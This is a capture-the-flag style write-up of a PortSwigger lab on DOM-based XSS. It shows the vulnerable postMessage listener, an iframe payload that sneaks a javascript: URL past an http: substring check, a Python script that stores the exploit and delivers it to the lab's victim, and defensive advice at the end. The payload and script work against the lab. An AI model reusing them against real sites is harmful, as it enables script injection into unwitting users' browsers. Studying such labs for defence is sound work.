Security article
DOM XSS using web messages and a JavaScript URL
DOM XSS using web messages and a JavaScript URL: This lab demonstrates a DOM-based redirection vulnerability triggered by web messaging. • PortSwigger • DOM-based, XSS • dom-based, lab1
🎯 Objective
This lab demonstrates a DOM-based redirection vulnerability triggered by web messaging.
Goal:
- Construct an HTML page on the exploit server.
- Exploit the vulnerability so that the browser calls the
print()function.
🔎 Step 1: Source Code Analysis
Reviewing the source code, I found the following snippet:
window.addEventListener('message', function(e) {
var url = e.data;
if (url.indexOf('http:') > -1 || url.indexOf('https:') > -1) {
location.href = url;
}
}, false);- The application listens for
postMessageevents. - If the message contains
http:orhttps:, the browser will redirect the page to that URL. - Since there is no validation against
javascript:URLs, this logic can be abused.
🔎 Step 2: Crafting the Exploit
I created an iframe-based payload hosted on the exploit server:
<html>
<body>
<iframe
src="https://0a9700d404e94506c038e2ad0006004c.web-security-academy.net/"
onload="this.contentWindow.postMessage('javascript:print()//http:','*')"
width="100%" height="100%">
</iframe>
</body>
</html>- The iframe loads the target application.
- As soon as it loads, it sends a
postMessagewith a payload:javascript:print()//http:
- Since the vulnerable code only checks for
http:orhttps:, the payload passes the filter and executes theprint()function.
🔎 Step 3: Python Automation
I automated the exploit delivery using a Python script with BeautifulSoup and requests:
#!/usr/bin/env python3
from bs4 import BeautifulSoup
import requests, sys, urllib3, time
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'}
def find_exploitserver(text):
soup = BeautifulSoup(text, 'html.parser')
try:
return soup.find('a', attrs={'id': 'exploit-link'})['href']
except TypeError:
return None
def store_exploit(client, exploit_server, host):
data = {
'urlIsHttps': 'on',
'responseFile': f'/{host[8:]}',
'responseHead': '''HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Referrer-Policy: unsafe-url''',
'responseBody': '''
<html>
<body>
<iframe src="%s"
onload="this.contentWindow.postMessage('javascript:print()//http:','*')"
width="100%" height="100%">
</iframe>
</body>
</html>''' % host,
'formAction': 'STORE'
}
return client.post(exploit_server, data=data).status_code == 200
def main():
print('[+] DOM XSS using web messages')
try:
host = sys.argv[1].strip().rstrip('/')
except IndexError:
print(f'usage: {sys.argv[0]} LAB-URL')
sys.exit(-1)
with requests.session() as client:
client.verify = False
client.proxies = proxies
exploit_server = find_exploitserver(client.get(host).text)
if exploit_server is None:
print('Failed to find exploit server')
sys.exit(-2)
print('Exploit server found')
if not store_exploit(client, exploit_server, host):
print('Failed to store exploit')
sys.exit(-3)
print('Exploit server stored..')
if client.get(f'{exploit_server}/deliver-to-victim', allow_redirects=False).status_code != 302:
print('Failed to deliver exploit')
sys.exit(-4)
print('Delivered exploit')
time.sleep(2)
if 'Congratulations, you solved the lab!' not in client.get(f'{host}').text:
print('[-] Failed to solve lab')
sys.exit(-9)
print('Lab solved')
if __name__ == "__main__":
main()✅ Result
- Verified that the application redirected to a
javascript:URL viapostMessage. - Successfully triggered the
print()function in the victim’s browser. - Lab solved automatically with Python automation. 🎉
💡 Key Takeaway
When handling postMessage data:
- Always validate the origin (
e.origin) - Never trust message content without sanitization
- Do not allow schemes like
javascript:to be injected intolocation.href